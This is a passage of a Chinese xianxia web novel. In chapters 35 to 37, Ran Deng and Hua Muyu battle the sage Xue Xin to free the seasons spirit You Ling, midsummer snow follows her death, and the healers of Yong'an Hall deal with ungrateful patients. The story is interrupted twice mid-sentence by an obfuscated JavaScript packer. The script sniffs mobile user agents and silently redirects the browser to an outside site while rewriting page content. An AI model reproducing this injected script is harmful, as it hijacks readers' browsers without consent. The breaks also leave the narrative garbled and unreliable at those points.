这一看不打紧,饶是丹砂已有了些准备,仍忍不住皱起眉头——那神像慈眉善目,与此前所见的薛心如出一辙。 强压着不适,丹砂仔细翻找着神像的碎片,试图获得一些关窍,但这些碎片俨然与寻常白瓷无异。 灵物天生天长,若出现异状,远非人力所能救治。现下哑女不过靠着镇印维持着躯壳,实际内里的灵力和生机都已消耗殆尽。 难道就一点办法都没有了吗?丹砂捏住了袖口,心中有了决断,转身回到哑女身边。 此时小南国众人已经相互解开了束缚,正在七嘴八舌跟太子说到底发生了什么。广丹赶到了南星身边,和她一起看着哑女束手无策。不过这一会儿的工夫,哑女原本莹润的赤红眉睫就已经显示枯黄,肌肤也不复此前的饱满无暇,竟然是一副死去多时的干瘪模样。 丹砂无心例会那边的掰扯,从袖中掏出燃灯给她的那张空白的符纸夹在指间,合上双眸在心中默想:不知道这符纸有何法门,但若天地有灵,还请给她一线生机。 想罢,丹砂睁开眼,符纸无风自动,轻柔地落在哑女的心口。 在落到她身上的哪一刻,仿佛微风吹亮了余烬,符纸的边缘亮起温和的红光。红光逐渐汇聚,在符纸上走笔游龙,勾画出一道玄妙的符文。 见到这番情形,广丹南星等人虽然不解其意,但也开始燃起了希望。 起初还不明显,然而随着符咒逐渐成型,哑女的面容却愈发加速地衰老起来。南星开口欲问,被丹砂摁住了。 她已回天乏术,不如搏上一搏。 红色的符咒在哑女的胸口,流光溢彩,仿佛有着呼吸一般翕动。随着符文的翕动,哑女的胸口也慢慢有了起伏。不一会儿,符纸化为流光,融入哑女的身体,她也终于动了动手指。 丹砂松开了摁着南星的手,探她的灵气,果见她体内的灵气恢复了一些,随孱弱如普通凡人,但维生足矣。 “活了。”丹砂惊喜道,“快来人,帮我把她扶到屋里去!” 两三个弟子前来帮忙,大家一起把哑女背进了病房。有太子官兵坐镇,骚乱很快平复下来,聚众叫嚣的人群散去,有刺头不服的和路通以及嘴歪眼斜的黄袍道士关在一起。 太子的兵马重新回到永安堂,大家心里落了地,但仍为这荒唐事气愤不已。 面对哑女,丹砂用了符,之后也无从下手,只能嘱咐南星好好看管,她先去和川连交代王员外府中发生了何事,同时也要了解路通到底是怎么了。 南星依言,端着温水和保气的汤药守在哑女床边,时不时为她沾一沾嘴唇。 一上午劳心劳神,南星撑着额头,为扈陵中凡人的乱象皱眉。然而不过一错神的工夫,她再一抬眼,想要看看哑女情况如何,就见被褥中空空荡荡,哪还有那个面容衰败的哑女? 35. 大雪满青山 据因果盘的指引,薛心带着有灵已出扈陵五百里。 扈陵西北五百里外早已不是姜国的国土,渡过金沙江、跨进中州国境,面前就是赫连山。 赫连山前后一向是北蛮与中州纷争不断的不定国界,薛心带着有灵停留在此,不知又是意欲何为。 追了近两个时辰,花沐雨的衣衫已经吹得干透。 “她们不动了。我竟然能追上薛圣?”燃灯停在空中,不可置信地看着手中的因果盘。 望向巍峨高绝的日月顶,花沐雨心中有了一个猜测:“她是在等我们。” 日月顶上,薛心迎风而立。在她身后,有灵被一团灵气缚在空中,气息奄奄,已经陷入半昏迷的状态,再无力挣动。 “你说他们会怎么选呢?”峰顶上只有她自己和一个半昏迷的印偶,薛心对着山风提问,也不知想得到谁的回答。 “我想带你去北蛮,让你带去天谴,让他们的牧场寸草不生,让他们发兵南下。但是不带你走也可以。如果你在此地消散,人间重回隆冬,大江南北颗粒无收,不仅北蛮要南下牧马,其余各国也要饿殍遍野……这样似乎更合算一些。” 她一笑:“怎么样都合算,怎么样都是天意。” 衣带当风,她的身影似乎要在山石间飘然而去。看着那一道剑光自天际而来,薛心再次发问:“你猜花沐雨会不会杀了你?亲手杀了林栉风的未亡人,或是下不去手放你贻害万年,都够让她夜夜难以入眠了吧?” 她五指微动,点点金光落入指尖下的土石中。金光熄灭,飞剑载着燃灯,停在日月顶九尺之外。 灰白的须髯飘动,衣袍鼓满山间的风,燃灯拱手,冲薛心遥遥施了一礼:“凛岳外门弟子燃灯,见过薛圣。” “你来了。”薛心轻叹,“上次见你时,你不过总角。一晃这许多年,你已经这样老了。” “您还记得弟子吗?”燃灯问道。 “怎么不记得。”薛心目光慈爱,“三百多年前,我上凛岳,有一个外门童子一边哭一边裁符纸换钱。我见他年纪尚小,又哭得可怜,便将他裁出的一叠符纸点为生生造化符,教他以灵力掷出,就能生成点滴造化,解他燃眉之急。一叠符纸,一共六百一十二张。后来,我还特意找过他几次,关心他还有没有那样哭过,又教给他一些小术法……” 燃灯抬头,有些浑浊的眼睛看向薛心:“您竟还记得这样的小事……这么多年过去,您风采不减当年,而我已经这样老了。” 薛心的眼眸中盈满了笑意:“你御剑而来,所为何事?” 燃灯低下头,拱手道:“弟子为四季之灵而来。” “你是说她吗?”薛心招手,灵气托着有灵来到她的身边,“想必你徒弟已经告诉过你了吧,当年林栉风死后,你遍寻不到的‘有灵’就是她。” 燃灯恭敬地俯首:“弟子斗胆,请薛圣高抬贵手。” “这有何高不高抬贵手的。”薛心笑道,“她把自己做成了印偶,执意要等你的弟子回来,我从未干涉过她的选择。” “那薛圣又为何把她带到此处呢?”燃灯问。 “这就是你们的选择了。”薛心道,“她身为四季之灵,却不肯按照节律消散,使得人间四季失衡,招致天谴。你们是要在此杀了她,还是让她跟我走?” 燃灯道:“一日为师,终身为父。她是栉风未过门的妻子,我便算是她半个父亲。为人父母者,怎忍心见女儿受苦。还望薛圣垂怜,将有灵还给凛岳吧。” “天道轮转,万物有常。”薛心看着眼前风烛残年的老叟,目光淡漠,“在天命之中,未曾有过你说的这个选项。” “有灵的天命就握在薛圣手中。”燃灯问道,“难道天命就无从更改吗?” 薛心语气中带着几分笑意:“天命是否可以扭转,你不是最清楚了吗?” 燃灯本就佝偻的背脊似乎被这句话压得更弯了几分,但他终于放下拱起的手。 “纵使几番螳臂当车,吾辈始终仍愿一试。”俯视着山顶的薛心,燃灯抬手,身后升起银白的剑气,“请恕弟子失礼了。” 那一瞬间的冲天剑气,竟叫薛心也不由自主地后退半步。 就在薛心这半步退意中,燃灯起手一剑已当头袭来。 他所用的还是当年外门童子练习用的木剑,然而此时此刻,此一剑却有苍啷啷的剑啸响彻四野。剑势如排山巨浪压向山顶的薛心,竟有几分当头棒喝之意。 这正是凛岳寒山剑法第一起手式,停杯一问。 薛心自然认得这一剑。 她从此前的一惊中回过神来,不怒反笑:“凭你也配来问我?” 面对这气势惊人的一剑,薛心干脆上前半步,朝着剑光直直地迎了上去。 她连术法都不曾用,燃灯的剑却再也斩不下去了。未尽的剑势在薛心的目光中溃散,声势浩大的一剑化作凛冽罡风,反冲向空中的燃灯。 衣襟被罡风冲开,露出胸口嶙峋的瘦骨,然而纵使蚍蜉撼树,燃灯也凛然无惧。 罡风本无实体,却能送鹤入青云。借着这阵罡风,燃灯脚下虚踏,一瞬间消失在原地。 第二剑,华亭鹤唳! 只听青天中一声凄厉厉的鹤鸣,燃灯持木剑,如失飞之白鹤,自白云间坠落而下。白鹤老矣,然为护雏孤注一掷,何畏搏鹰? 倏忽间千钧已至,薛心仰首,挥手间便是半面金光。 琅琅金石相击,交汇处气劲轰然荡开,吹得日月顶上飞沙走石。 第二剑未果,燃灯丝毫不停,一息之间连斩八剑。三杯吐然诺,五岳倒为轻! 这八剑一剑快似一剑,沙尘中,剑已过而剑影尚存,一时铮铮不断。烟尘未落,燃灯已将薛心逼至八步开外。 薛心手中的金光绞住燃灯的木剑:“三百年不见,我料你有多大长进,原来不过如此。三杯五岳,算总八剑,昔日凛岳弟子使来,无不气吞山河。而今你这又算什么,外门弟子用的烧火棍吗?” 燃灯面色坦然:“薛圣无需再以言语乱我道心。我自知天资平平,三百年蹉跎而过,我风烛残年,心中的执念早就磨平了。” “凛岳千年传承断绝于此,你竟没有一丝羞愧吗?”薛心问道。 燃灯静静地看着薛心,并没有回答。山风吹过,烟尘渐散,与他对峙的薛心忽然一皱眉:“没想到你于剑术上习得有限,算计一道却是长进不少。” 薛心拂袖,刹那间面前的燃灯残影与烟尘尽皆散尽,露出崖畔外紧紧挤在一柄飞剑上的三个人。三人一剑身上都贴着符纸,符纸上,玄奥的符箓闪着隐隐的金光。 原来燃灯此前的对阵不过是为了将薛心从有灵身边逼退。一旦薛心离开有灵的身边,从一开始就藏身他处的花沐雨立即借烟尘弥漫窜出,撕开了禁锢有灵的灵气。而后燃灯借机抽身,师徒二人便带着有灵,一起趁烟尘未散时离开。 此法不可谓不妙,尤其是有那闪着金光的生生造化符,就连薛心都被蒙蔽了天机,没能察觉并未现身的花沐雨与利用残影脱身的燃灯。 只是…… 千丝万缕的金光如覆盆,兜头罩住已飞出日月顶的三人。 燃灯暗道一声不好,三人狼狈滚落,虽然被金符庇护,并未损伤分毫,但金符护了他们这次便化为无形,他们终究是逃脱无望了。 薛心朝着他们走来缓步走来:“用我给你的东西对付我,你怎么想的?” 燃灯握着剑挡在花沐雨和有灵面前:“薛圣,你既然都记得从前,却又为何回不到从前了呢?” “你说的是什么从前?”薛心淡淡地问。 多说无益,燃灯再次提剑攻来,薛心没了和他玩闹的心思,金光一闪,就将他原地困住。 燃灯像被黏在蛛网上的虫子,薛心并未多看他一眼,直直朝着前方的花沐雨和有灵走去。 “让我看看……”薛心沉吟着,“是了,我还曾教过你一点解除镇印的方法。不愧是我的生生造化符,竟然连我本人都能受到影响了。” 花沐雨起身,手中执剑,挡在了有灵面前。 见她戒备的样子,薛心停住脚步。 “你已经把镇印的解法告诉你徒弟,又让你徒弟争分夺秒传授给有灵了么?不过那又有什么关系呢?”她说,“你们争取再多的时间也没用。我教给有灵的镇印,是我后来改过的。被别人封印和自己封印自己,这怎么能一样呢?” 花沐雨也不跟她交谈,提剑刺来。 燃灯尚且不敌薛心几个照面,失去了灵气的花沐雨又能奈薛心何。 薛心躲也不躲,又是一拂袖,将花沐雨送到了燃灯的身边。 “看来今天,你还是要跟我走。”中间再无阻碍,薛心看着靠在碎石上的有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294815|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵,“你们为什么就不明白,命途万千,无论你怎么挣扎,最后都不过殊途同归呢?” 薛心正欲举步朝有灵走去,忽觉心头一颤。 午后的烈日不知何时西斜,天边弥漫起绚烂的晚霞。夕阳的余晖照进她眼底,倒不知为何引她怔然。她似有所感地回头一望——山风吹动她的鬓发,燃灯一剑刺入她的法身。 这是第十一剑,落日故人。 燃灯袖口贴着一道崭新的生生造化符,此时正流转着淡淡的金光——这是他和花沐雨备好的退路,他们各自多藏了一道符在方便取用的地方,若是第一步计划无用,就用第二道符解围。花沐雨正是借着薛心一袖之力,将自己的第二道符送到了燃灯身上。 薛心似乎愣住了,她握住燃灯的剑,呆呆地说:“可是即便你刺伤我,也解不开有灵的镇印。” 燃灯不答,双指快似电闪,第三道生生造化符飞出,直指薛心心脏的位置。薛心被符纸的力道一撞,挣开了木剑。 接二连三的符纸从燃灯手中飞出,雪片一般,都封在薛心的左胸。 薛心愣愣地低头去看,汩汩金光在她胸前流转,好似一颗跳动在体外的心脏。 “变数……”薛心喃喃,“可即便是这样,你们也解不开有灵的镇印。怎么样都合算,怎么样都是天意。” 困住花沐雨的金光也消失了,花沐雨奔向有灵,情况果真如薛心所说,即便花沐雨再如何按照燃灯教她得方法引导有灵,有灵也无法解开镇印。 燃灯看了看手中,原本厚厚的一叠生生造化符此时只剩一张,正随着山风颤动。他长叹一声:“或许从前的你,也能料到今日吧。” 最后一道生生造化符飞出,落在有灵身上。 薛心呆滞的眼珠一转,也跟着看过去。 生生造化符落在有灵身上,金光流转,但什么都没有发生。 薛心木然地说:“我早说过了,命途天定,无论我们怎么选择,最后都是殊途同归。” 封在她左胸的符纸随着金光片片燃尽剥落,然而就在此时,日月顶的山石间沁出丝丝缕缕赤红的纹路。 红色映入眼中,薛心一顿,继而一笑,之后便是仰天大笑。 “又一个变数,又一个变数!”她大笑着高喊,好似忽然清醒,护住最后几片未曾燃尽的生生造化符,转身间消失不见。 花沐雨戒备地和燃灯一起护住了有灵。这赤红的纹路是什么,竟然逼退了薛心? 几息之间,红色的纹路扩散又汇聚,凝成了一株赤红的彼岸花,红光一闪,曼妙的花朵又转瞬化成了一个熟悉但又有些陌生的人。 “哑女!”花沐雨惊诧地叫道,“是你吗?你怎么会来这里?!” 哑女自然无言。花沐雨拉住了燃灯,看着哑女慢慢走到有灵身边,摸索到她的手,带着她在身上画下一个符箓。 花沐雨和燃灯下意识地知道,这就是有灵身上镇印的真正解法。 随着符箓画成,有灵脸上的镇印渐渐淡化。 花沐雨喃喃:“你到底是谁……你怎么知道这个……” 哑女仍是不答,站起来退后一步,冲他们师徒二人行了一礼,不容阻拦地,又如来时一般化入山石间消失了。 局势陡然扭转,空中传来隆隆的雷声。镇印解开,有灵终于能睁开眼——原来她有一双冰色的眼眸。 ——解开有灵的镇印,放她自由,这就是燃灯与花沐雨的打算。 满山苍翠落在眼底,但她大限已至,几乎什么都看不到了。 久未发声的喉咙已经忘了如何震动,她的双唇颤了颤,才终于问出声:“这里……是哪里?” 花沐雨托着她,有一瞬间想要骗她说这里是平堂山,但话至嘴边,终究还是咽下了。 “这里是有风的地方。”燃灯代替花沐雨回答道,“睡吧,孩子。我是林栉风的师父,我替他来看你了。” 有灵的嘴唇动了动。 “师父……” 她口中发出孱弱的低语,之后便再也没有声息。 天空中盘庚的雷声消散,花沐雨感觉手背上一凉,一朵小小的六瓣雪花完整地落在她手上,又被她的体温化开。 有灵的身躯逐渐透明,雪也越下越大。 花沐雨抬头看着天空,世上所有的铅云都向此刻汇聚,簌簌白雪落满了盛夏的青山。 36. 犹需回首解沉疴 印偶源自法修一派绝密,灵物也罕有出世,除去个别大能,世人对其都知之甚少。 燃灯和花沐雨猜到日月顶上盛夏落雪是有灵消散后引起的天地异象,却没猜到此番天地异象影响范围到底有多大。 二人一路返回扈陵,所过之处无不白茫茫一片,气温骤降,简直如同回到了寒冬腊月。 燃灯拢着衣襟,抱着胳膊,哆哆嗦嗦地站在飞剑上。 在他身后,花沐雨不无担忧地望着脚下的土地:“也不知这严寒会持续多久。此时正是粮食生长的季节,经此一冻,也不知今后这一年的粮食可怎么办……乍然由酷暑进入严寒,也不知寻常百姓如何取暖。” 燃灯并未搭言,花沐雨自顾自地思索道:“四季之灵消散,人间重回隆冬,我们竟不知四季之灵有这样的特性。”忽然察觉到什么,她眉头一皱,“若四季之灵真有这样的特性,那岂不是不管我们怎么做,人间都免不了一场灾难?” 花沐雨脑中一个激灵,急向燃灯道:“师父,你还记不记得,她给了我们两个选项,杀了有灵,或是让她继续带有灵走。若她带有灵走,则有灵继续痛苦、人间天罚不断;若我们杀了有灵,或者解开镇印,有灵虽得解脱,但人间重回隆冬……” “阿嚏。”燃灯搓搓鼻子,忽然的一个喷嚏,打断了花沐雨的话。 她思维一滞,忽然想起来薛心说的那句话。 “‘怎么样都合算,怎么样都是天意。’”她喃喃。 在薛心为她摆出两个选项时,她以为薛心是要她在有灵和天下苍生之间做出抉择。却不料,无论她怎么选择,有灵和天下苍生都成不了被保全的一方。 燃灯吸吸鼻子:“也不知道那小丫头那边怎么样了。” 花沐雨回神,这才意识到自己沉浸在思绪中许久了。 燃灯小声嗤笑:“揣度薛圣的想法,你不要命了?” 二人回到扈陵城时已经是深夜。 因地势原因,扈陵倒是较别处温暖些许。小雪未停,檐上落白,但落在地上却大多化开了,留下满地湿哒哒的,只在角落处有些积雪。 走过长街,扈陵仍旧是家家闭门不开,但燃起的灯火比较之前多了些。 花沐雨和燃灯带着事毕的疲倦回到永安堂,却见一片冷清,门前积着雪,雪地上一个脚印都没有。 “怎么这么安静?”花沐雨心道不好。 燃灯的手背在身后:“别担心,进去看看吧。” 往日住得满满的各个房间连盏灯都没有,往里走了许久,才在厢房看到一丝火光。庭中合欢树上白雪压着绿叶,纤丝的花蕊被封在冰壳里,映出灯光的晶莹。树下还堆了一堆小巧可爱的雪人。 侍卫认得花沐雨,花沐雨叩门进去,原来是水萍曲莲守着零星几个病人,正在火盆边烤火。 见花沐雨回来,水萍曲莲都又惊又喜。 “您终于回来了。”水萍高兴道,“之前就听师叔说,瘟疫病气中的黑气已除,想来是你们那边进展顺利,没想到这么晚您才回来。” 说着话,水萍看到了门外幽暗处站着的燃灯,便问:“那位是……?” 花沐雨一笑:“那位是我师父燃灯。” 水萍和曲莲都被吓了一跳,没想到竟是这位大驾光临,一下子惶恐起来,当下便急忙前去见礼。 花沐雨知道师父不爱见生人,忙将人拦住了:“师父此时还在观想,不便相见,二位不用多礼。” 水萍和曲莲这才作罢。 “怎么就剩这几个了,其他人呢?”花沐雨问。 水萍神色一淡,看了一眼屋里的病人,道:“此事说来话长。”转而又问,“你去见过师叔了么?” “还没有。”花沐雨答道,“我一路走来只先看见了你们,就来先跟你们打声招呼。” “听说你师父来了,师叔他们带人都在等你回来呢。”水萍道,“我们在此处看着病人,不便说话,您不如带着祖师先去看看师叔吧。” “也好。” 简单问过川连等人的所在,花沐雨带着燃灯继续往里面走去。 许是到了扈陵温度升上来的缘故,燃灯下了飞剑倒也没有那么瑟缩怕冷了。沿着回廊来到正厅,却出了些小意外。 ——正厅外的守卫一见到燃灯,立刻拔刀相向。 “是此前闯关的贼人!” 一声呼哨起,四面八方的守卫都冒了出来。 花沐雨不明所以,燃灯连连摆手,打着哈哈:“误会,都是误会。” 川连和南星等听到动静出门来看,见是花沐雨回来了,还带着个不认识的老头,急忙出屋:“这是我们的另一位修士。各位且慢,可是有什么误会?” 为首的守卫头也不回道:“仙师小心,那老头就是此前强行闯关、害我们来迟的贼人!” “什么闯关?”花沐雨回头问燃灯。 燃灯讪笑:“我不是跟你说了嘛,我着急救你,有人不放行,还拿箭射我……” 花沐雨啼笑皆非,冲守卫抱了个拳:“这位是我的师父,收到了我们的传信,特地赶来扈陵相救。事发突然,未来得及跟诸位先打招呼,招致误会,实在抱歉。” 川连一听,连忙叫南星把还在屋里的人都叫来,自己先行来到燃灯面前见礼:“晚辈川连,见过祖师大人。” “哎呀,快免礼快免礼。”燃灯赶忙搀扶。 守卫见此,知道是误会,告罪后便散开,照常守卫。 另一边,南星引得小南国弟子出屋,依次见礼后,恭敬地将燃灯请回屋中。 屋中一样生着火盆,川连把燃灯让到主位。 燃灯向花沐雨望过一眼,花沐雨无奈,打断道:“我走之前,记得此地有许多患者。怎的不过一日,院里就这么空旷了,可是都已经好转了?” 屋中气氛一僵,南星看看川连,川连叹了口气。 他看起来竟似心灰意冷了。 “祖师有所不知。”说着,川连将上午黄袍道人率众意图烧死哑女的事略说了一遍,又道,“那孽徒和一干人等还押在牢里,只是之后哑女突然消失,我们遍寻无果,也不知她去了何处。” 听到这里,花沐雨便明白了:“原来如此。” 川连不解,花沐雨便道:“师父和我追那印偶追至赫连山日月顶,印偶的镇印解法特殊,正一筹莫展之际,哑女突然出现,助我们解了镇印,这才破除了天谴。” 川连恍然:“竟是这样。她无碍便好。”叹罢,又问,“祖师可知哑女之后所在何处?” 花沐雨摇头:“她来无影去无踪,又口不能言,我也无从知晓。” 回想起山石间生出的彼岸花,她倒是对哑女是何化身有了些猜测。 “就是因此事,导致堂中病患都出走了吗?”花沐雨问。 川连长叹一声:“非也。” 上午黄袍道人和一干闹事的人等被抓,事情便告一段落。 闹事的人不少,但也有许多并未参与闹事的,川连等人虽气,仍一视同仁地收治,并未多言,只请太子在此多加了派兵。 “谁知入夜后,我们正常交班,却发现药房狼藉一片,病患集体偷药。他们理直气壮,说我们不给他们用药,不想给他们医治,他们拿回自己的药,有何不可?”提及此事,川连已是麻木,“如今整个扈陵的药都是我们跋山涉水从小南国带来的,哪有一分一毫是他们自己的。” 缓了口气,川连接着讲道:“我们给他们解释了此前保守用药的种种考量,他们自以为懂得比我们多,一个个胡搅蛮缠,说药明明就有效果,有个老太太两副药下去,身上的黑斑都消退了。” 说到此处,川连不免又是一阵叹气:“当时情况僵持不下,那个老人确实是好了。药已经被他们抢走不少,我们发现为时已晚。罢了,他们爱走的,就叫他们自己领了药走吧。天谴已解,自下界以来,我们接二连三遇到了太多污糟事,着实令人倦怠。经此一事,我们也该早早打道回府了。” 南星忍不住插话:“我们大家后来彼此一对,才想明白,原来是那老太太的儿子去药库里乱翻,偷偷藏药回去,自己给老太太煎服。入夜时天谴已解了,我们都是凌虚界的灵药,按他偷的那个分量,这凡人的瘟疫岂有不好之理?”南星气愤不已,“倒叫他们胡搅蛮缠,自以为占理。” 听罢,花沐雨也不免叹息。小南国众人下界救灾本是出于好意,未料凡间种种一波三折,确实叫人无奈。 “我看还剩下几个患者。”花沐雨试图安慰。 “哼。”南星冷笑道,“只有一个一直没作妖,剩下的都是家里没有炭火,巴巴跑回来蹭碳的!” “哦?有一个人一直没走么?”花沐雨好奇,“是哪个?” 南星道:“是此前在西厢房住的一位,家中就剩他一个人了,平日有些邋里邋遢的,我们还嫌他人闷,不知道应声,没想到,竟是他留到了最后。” 花沐雨暗自点头:“倒也难得。”转而又道,“时候不早了,你们特在此等我们,如今我们也回来了,大家还是早些休息吧。” “确实如此。”川连说道,“早听丹砂和卜芥提及师祖大驾光临,晚辈已提前备好了住处,条件有限,还请师祖不要介怀。” “哪里,哪里。”燃灯让道。 花沐雨跟川连一起送燃灯安置下,打点妥当,众人才各自回房。 雪夜里一片静寂,炭火炸开细小的火星,昏黄的烛光在桌角摇曳。咯吱咯吱的踩雪声响起,引得屋内的人抬起眼。 “咚咚咚。”门口传来三声叩门声,而后有人推门进来。 丹砂看了门口一眼,提腕继续向砚台里蘸墨。 “吓到你了?”花沐雨关好门,来到她对面坐下。 笔以墨润足,丹砂垂眸,继续记下药方手札。 “就在等你呢。”她说,“你自己回来的?” “嗯,广丹还没彻底好全,南星在陪她。”花沐雨又给她说了说自己这边的情况,“有灵是人间的四季之灵。我和师父最后追着薛心到了赫连山,我们斗不过薛心,但哑女忽然出现,解开了有灵的镇印……有灵已魂归天地了。” “哦。”丹砂笔下未停,“四季之灵消散,会影响人间的节气吗?难怪一下子变得这么冷。” “看来是的。有灵消散,人间重回隆冬。”花沐雨看着火盆,“天谴或严寒,是个死局。” “万事万物自有他的去处。”丹砂淡淡地说,“哪能事事圆满,不过是尽力而为罢了。” 烛火在眉睫间摇晃,花沐雨看着她垂眸的样子,忽然从心底生出一股自愧不如来。 回想这段时间遇到的几个女孩,丹砂勇敢坚毅,广丹乐观可爱……花沐雨眉眼一垂,想到已经死去的茜君,一个信错了东西的聪明孩子。 “你们这边的事,川连师叔他们都跟我说了。”花沐雨道,“你很厉害。我之前说你还只是个孩子,是我小瞧你了。” 事了,她却有些空泛的疲倦。 丹砂没搭言,抬头古怪地看了她一眼。 “我一直很羡慕你。”许是今夜太安静了,花沐雨支颐,看着烛光下的丹砂。对面的人那么年轻,那么优秀,有那么多彩的未来。 “羡慕我什么?”丹砂问。 “你有想法,知道自己要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294816|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,也有能力去实现自己的想法。”花沐雨道,“我痴长许多年岁,却不像你一样勇敢和坚定。” “你这么想吗?”丹砂放下书,“你还不知道吧,我从小就在人间流浪,坑蒙拐骗,乞讨、偷抢,我可不是你现在看到的体面人。如果不是被捡回小南国,你觉得我会在哪里?” 花沐雨听卜芥说过丹砂的身世,但此时并没有说出来打断丹砂。 “我也会活得好好的。”丹砂的话掷地有声,“所以我特别看不上你那些磨磨唧唧柔肠百结的东西。想要就去拿,得到就快乐。好东西就那么多,我就活这一辈子,有什么好纠结的?对,或许你们都有不得已的苦衷,都有一言难尽的过去,但是,”她看着花沐雨,“你告诉我,未来不能改变吗?” “你说得对。”花沐雨垂头,“未来可以改变……” 丹砂的眉头皱起来了:“又来了。我最讨厌你这个样子,就是那种‘你说的都对,但我不行’。所以你有什么不行的?” 花沐雨并没有回答她的问题,而是说:“你天赋很高。不仅是医学方面的天赋,你同样特别敏锐。不像其他人那样走马观花,这个世界在你眼中是一处接一处的细节。你疑惑过吧,为什么在你眼里很明显的东西,别人却都没注意、没发现、不承认。” “难道不是吗?”丹砂挑眉。 “如果我在你这么大的时候能像你一样勇敢就好了……”看着这张年轻的脸,花沐雨情不自禁又说了一遍,又道,“你好像从来不会怕别人的眼光。” “为什么要怕?”丹砂简直不明白她为什么会问出这样的话。 “你难道……”花沐雨停顿片刻,她知道丹砂又要嫌弃自己软弱了,“你难道不想要别人的认可吗?” “噢,我忽然明白了。”丹砂歪头,抱着胳膊,“所以在你看来,要想获得别人的喜欢和认可,只有讨人喜欢这一种途径是吗?” 花沐雨只说了认可,丹砂在她的问题里加了一个“喜欢”。 “而且,在你看来,一定要获得别人的喜欢和认可,是吗?”丹砂接着推测,“你想要别人的喜欢和认可,因为只有这样你才能活下去。而你获得别人的喜欢和认可,只有一种方式,就是乖乖听话,做一个讨人喜欢的人……” “我不明白。”丹砂第一次说出了这样的话,“你有这么多本领,为什么还是始终把自己放在一个弱者的位置?你觉得只有顺从,变得讨喜,不让任何人不快,这样才能活得好?其实完全没必要啊,谁教你的?” “没人教过我,我自己就学会了。”花沐雨平淡地说。 “你像是被谁驯化了。”丹砂道,“我说真的,你好好想想。你已经不是离开别人的哺育就必死无疑的婴儿了。” 花沐雨默默良久,转而问:“你们什么时候回凌虚界?” “送佛送到西,等患者全都痊愈吧。剔除天谴,这就是个小病,倒是截脉之法还值得研究一些。”丹砂又道,“你要去哪儿?你要走的话不用等我们,等休息好了就离开吧。” 第二天一早,燃灯准备启程回凛岳。 他一向不在山外久留,若不是送花沐雨回来,并关心永安堂的情况,以至于遇到一群小辈,被留了一宿,他其实昨晚就要走了。 “师父,我想回一趟长阳。”案前,花沐雨道。 燃灯整理着口袋里杂七杂八的东西,闻言抬头看了她一眼:“又回去找死?” 花沐雨捡起桌上散落的符纸,一张张慢慢理顺,许久,才道:“徒弟不孝,既没能传承凛岳的剑法,又没能在您跟前侍奉。长阳……我没办法不去。” 她说不下去了。 她没办法不回长阳,可谁都知道,这一去大概是有去无回。那师父怎么办,凛岳怎么办呢? “你连灵力都没恢复,不就是去送死吗?”燃灯拿过她整理好的符纸,嘀咕着,“就不能跟我回去?哪怕先回去休整一下呢。” 花沐雨无言。 其实燃灯说得不错,她执意不肯先回凛岳,就是不想恢复灵力。她不想要那些力量了。她要那些力量做什么呢?她要回长阳,她始终欠那里一个了断。 燃灯长叹一声,看着对面低头沉默的弟子,眼睛里是万般不忍。 他说:“孩子,凛岳就剩下咱们仨了啊。” 花沐雨眼睛一热,膝行后退两步,叩首拜道:“弟子不孝。弟子……听从师父教诲。” 燃灯无可奈何地合上双眼:“你若真一心求死,那就去吧。只是……” 他的话悬而未定,花沐雨抬起头来,对上燃灯苍老的目光。 “孩子啊,你答应我一件事。”燃灯定定地看着她,“若你没能死在长阳,今后就好好活着,好吗?” 永安堂外,正在扫雪的弟子忽被叫住。 “劳驾请问,薛心可是来过此地?” 弟子回头看去,门外不知何时来了个带剑的黑衣人。 “薛心?薛心是哪位?”弟子问。 “她是法修,穿一身白衣,是个很和善的人。” 白衣的和善法修?弟子仔细回忆:“没见过这一号人物。我们这里此前闹瘟疫来着,尊驾为何要打探她的下落?” 对他们来说,扈陵的事似乎像地上的雪一样已经打点干净,如今再提起,只剩下弟子口中干净粗砺的地面。他们没捞起水井中被人丢下的布片,不知道文太师屏风后出现的人影,更未听闻日后人间的流言。今人不记从前事,正如来年新人忘旧人。一期一年,黑衣的过客手中握着剑。 他说:“受故人之托,来取她性命。” 完 《第一卷·一期一年》 37. 平堂雪 狂风卷着雪粒吹过锋利的山脊,大雪糊住了视线,灰白的天地之间由远及近,逐渐浮现出一道几乎被风吹走的身影。 走近了,顶风前行,那人低着头,裹着黑色的披风,骑一匹黑色的马。 马鬃马尾吹乱,黑马逆着风雪,细骨伶仃的腿仿佛下一刻就要折断。 披风的边角猎猎作响,同马鬃马尾一样飘飞在空中。风雪鼓满那人的衣袍,她的身形一下子显得很庞大,而下一瞬风向转变,皮袍贴着身躯吹过,又让她显得那样渺小。 为什么偏有人在这样的风雪天走这样陡峭的山路,此方天地中只有狂乱的风雪,并没有答案。 山下风稍住,茫茫大雪中,远处连绵起伏的,分不清是边城还是又一座山。马上的人凝望许久,调转马头,别向而去。 边城外有一些零星的村庄,散布在大山和大城之间,在和平年代过着平静的日子。 呼啸的风声淹没了马蹄,前行几里,雪积渐深,风刮过雪面,吹动露出积雪外的几根细长的绿叶和一片衣角。 马上的人似乎留意到什么,勒住缰绳,翻身下马,去查看那片衣角。衣角连着衣服,掀起一片积雪,她跪在雪地上,从雪窝里刨出一个冻僵的人。 摸了摸心口还有热气,从马上下来的人甩开披风将此人裹好,把她抱上马背,步伐不再迟缓,朝前方的村落快马奔去。 